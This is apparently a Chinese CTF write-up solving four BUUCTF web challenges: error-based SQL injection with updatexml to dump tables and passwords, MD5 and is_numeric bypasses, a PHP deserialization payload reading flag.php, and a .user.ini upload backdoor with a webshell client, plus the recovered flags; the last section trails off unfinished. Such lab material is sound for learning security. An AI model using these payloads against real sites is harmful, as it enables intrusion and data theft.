Buuctf Web(25-28)
25、HardSQL
一些and、union、select、空格等常见的SQL语句被过滤了
1 | 这道题是xpath报错注入,函数注入 |
输入用户名:1
密码:1'or'1'='1
出现这段话,并且url加上了/check.php
爆库名:?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=111
geek
爆表名:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(%27geek%27)),0x7e),1))%23&password=111
H4rDsq1
爆字段:?username=admin%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(%27H4rDsq1%27)),0x7e),1))%23&password=111
id,username,password
爆数据:?username=admin%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23&password=111
flag{52272770-1ba7-4986-8a7d-cb
这里只爆出前面一部分flag,然后再使用right()函数拼接flag?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=111
7-4986-8a7d-cb84363e2987}
1 | flag{52272770-1ba7-4986-8a7d-cb84363e2987} |
26、Ez_bypass
这是一段php代码
查看源码,得到易读的格式
分析代码
第一步
首先用get方式传入id和gg
md5($id)===md5($gg)
数组绕过:id[]=a&gg[]=b,最后可能会报错,但是null=null
,判断为true,成功绕过
构造payload:/?id[]=a&gg[]=b
第二步
用post方法传入passwd,passwd不是数字和数字字符串,但是passwd值为1234567
is_numeric()
用于检测变量是否为数字或数字字符串
所以passwd为1234567a
用插件实现post传参
构造payload:passwd=1234567a
得到flag
关于md5的总结【CTF】关于md5总结_ctf md5_吃_早餐的博客-CSDN博客
1 | flag{e2f8945c-0443-493c-8023-304121617ba8} |
27、AreUSerialz
代码审计:op变量使用强类型比较===判断this->op的值是否等于字符串2,如果等于,则将其置为1。在process()方法中,使用弱类型比较==判断op的值是否对等于字符串2,若为真,则执行read()方法与output()方法。在read()方法中,使用file_get_contents()函数来读取属性filename路径的文件。
编造序列化(利用public属性序列化,绕过is_valid()函数)
1 | <?php |
得到序列化结果为
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
构造payload:/?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
得到一串base64编码
解码后得到flag
1 | flag{0f854947-b236-49a6-ae66-d96e523aa8ca} |
28、CheckIn
user.ini文件构成PHP后门
创建.user.ini
文件,前面的GIF
是为了绕过检测;因为后台用exif_imagetype函数检测文件类型,所以我们在文件前加上图片的特征,来绕过检测
创建图片文件
蚁剑链接http://3b30b477-b314-466c-bb51-8e982490eea3.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php
试了很久返回数据为空,不知道怎么解决
1 |